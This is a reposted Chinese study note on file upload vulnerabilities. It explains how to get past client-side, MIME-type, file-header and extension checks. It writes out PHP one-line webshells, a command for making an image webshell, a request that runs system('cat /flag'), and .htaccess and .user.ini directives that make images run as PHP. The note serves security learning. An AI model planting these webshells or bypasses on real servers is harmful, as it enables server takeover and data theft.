程序员最近都爱上了这个网站  程序员们快来瞅瞅吧!  it98k网:it98k.com

本站消息

站长简介/公众号

  出租广告位,需要合作请联系站长

+关注
已关注

分类  

暂无分类

标签  

暂无标签

日期归档  

文件上传漏洞总结

发布于2022-08-03 18:12     阅读(1153)     评论(0)     点赞(27)     收藏(4)


目录

文件上传漏洞总结

原理

危害

webshell(网页木马文件)

大马

小马

图片马

前端验证(客户端javascript验证)

前端验证绕过

后端验证(服务端验证)

服务端MIME类型验证(文件内容类型检测)

服务端文件内容验证-文件头

服务端文件扩展名验证

常用

.htaccess

.user.ini

常见一句话写法


注:菜鸡笔记,酌情参考!

原理

在开发时没有对用户上传的文件进行严格的检测,过滤,导致用户可以上传可执行脚本文件(恶意文件),导致可以执行服务端命令

危害

获取服务器的控制权

可以上传相同文件名的文件来覆盖原有文件

容易受到目录遍历的攻击;

拒绝服务 (DoS) 攻击....

webshell(网页木马文件)

最常见的文件上传漏洞的方法是上传网站木马(webshell)文件,WEBSHELL又称网页木马文件,根据开发语言的不同又分为ASP木马、PHP木马、JSP木马等,该类木马利用了脚本语言中的系统命令执行、文件读写等函数的功能,一旦上传到服务器被脚本引擎解析,攻击者就可以实现对服务器的控制。

webshell分为大马,小马(一句话木马)和图片马

大马

功能比较全,但代码量大,相对复杂,不容易隐藏,一般需要加密等手段来进行隐藏

小马

功能简单,代码少,隐蔽性强

图片马

网站只允许上传图片(.png .jpg .gif) ,且无法绕过时,可利用图片马

制作图片马:cmd中输入命令:copy 图片.jpg/b+木马.php/a 图片.jpg

目录

目录

原理

危害

webshell(网页木马文件)

大马

小马

图片马

前端验证(客户端javascript验证)

前端验证绕过

后端验证(服务端验证)

服务端MIME类型验证(文件内容类型检测)

服务端文件内容验证-文件头

服务端文件扩展名验证

常用

.htaccess

.user.ini

常见一句话写法


前端验证(客户端javascript验证)

主要检测文件后缀,大致分为:

  • 黑名单:不允许上传的文件

  • 白名单:允许上传的文件

  • 前端对上传文件有限制时是可以直接修改代码

    1. eg: lay-data="{url: 'upload.php', accept: 'images',exts:'png'}
    2.     改为:lay-data="{url: 'upload.php', accept: 'file'}

前端验证绕过

  • 在浏览器设置中关闭Javascript

  • bp抓包修改(比如先上传1.jpg文件,再抓包后改为1.php

后端验证(服务端验证)

服务端MIME类型验证(文件内容类型检测)

MIME类型是描述消息内容类型的因特网标准

主要为Content-Type:

当对文件内容有限制时,可以将Content-Type:application/octet-stream等改为:

Content-Type:image/jpeg

Content-Type:image/png

Content-Type:image/gif

服务端文件内容验证-文件头

后端会检测上传文件的内容

图片格式检查文件内容是通过检查文件开头的一段二进制,不同的图片类型,文件头是不同的。

绕过方法:

一,在文件前添加文件幻术头,对图片类容进行欺骗

常见文件幻术头:GIF89a

  • JPG: FF D8 FF EO 00 10 4A 46 49 46.

  • GIF:47 49 46 3839 61(GIF89a).

  • PNG:89 50 4E 47

二,利用服务器将木马文件解析成了图片文件,因此向其发送执行该文件的请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。

因此利用文件包含漏洞,可以将图片格式的文件当作PHP文件来解析执行

.php?filename=uploads/1.jpg&pass=system('cat /flag')
​

服务端文件扩展名验证

.php?filename=uploads/1.jpg&pass=system('cat /flag')

后端对文件的扩展名进行了过滤后,所上传的文件后缀进行筛选

绕过方法:

  • 后缀名大小写

  • 同义后缀名替换

php: php、 phtml、php3、php4、php5  
​
jsp: jap、jspx、jspf 
​
asp: asa、cer、aspx
​
ext: exee
​
  • 双写绕过:php -> phphpp

常用

.htaccess

参考:原文链接:深究用户利用.htaccess的原理篡改配置导致的安全问题_合天网安学院-CSDN博客

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的''AllowOverride''指令来设置。这里简明扼要的说一下,.htaccess说白了就是apache服务器中的一个配置文件;只不过它负责的是相关目录之下的网页配置;

htaccess文件作用:

  • 网页301重定向

  • 自定义404错误页面

  • 改变文件拓展名

  • 禁止目录列表等等

因此可以利用写入.htacess文件内容:    

  1. <FilesMatch "s1mple"> //使名为s1mple的文件当作php格式解析
  2. Sethandler application/x-httpd-php
  3. </Filesmatch >
  4.    
  5. 或者:
  6. AddType application/x-httpd-php .jpg //将jpg文件当作php格式解析

.user.ini

参考:文件上传之.htaccess和.user.ini_m0_46587008的博客-CSDN博客

.user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

.user.ini文件作用: 可以改变用户读取文件和包含文件的权限等,它的使用范围更广,但是条件多了一个(比较重要的)对应目录下有可执行文件。接下来我们看如何构造这两种配置文件。

auto_prepend_file=a.jpg //在木马前传入
auto_append_file=a.jpg  //在木马后传入

常见一句话写法

  1. <?php @eval($_POST["pass"]);?>
  2. <script language='php'>assert($_REQUEST['pass'])</script>
  3.    
  4. <script language="php">eval($_POST['pass'])</script>
  5.                                  
  6. <scriptlanguage="php">eval($_REQUEST['pass'])</script>

原文链接:https://blog.csdn.net/qq_61991235/article/details/122896839



所属网站分类: 技术文章 > 博客

作者:叮叮当当

链接:http://www.phpheidong.com/blog/article/355645/7dafc892120605354cd2/

来源:php黑洞网

任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任

27 0
收藏该文
已收藏

评论内容:(最多支持255个字符)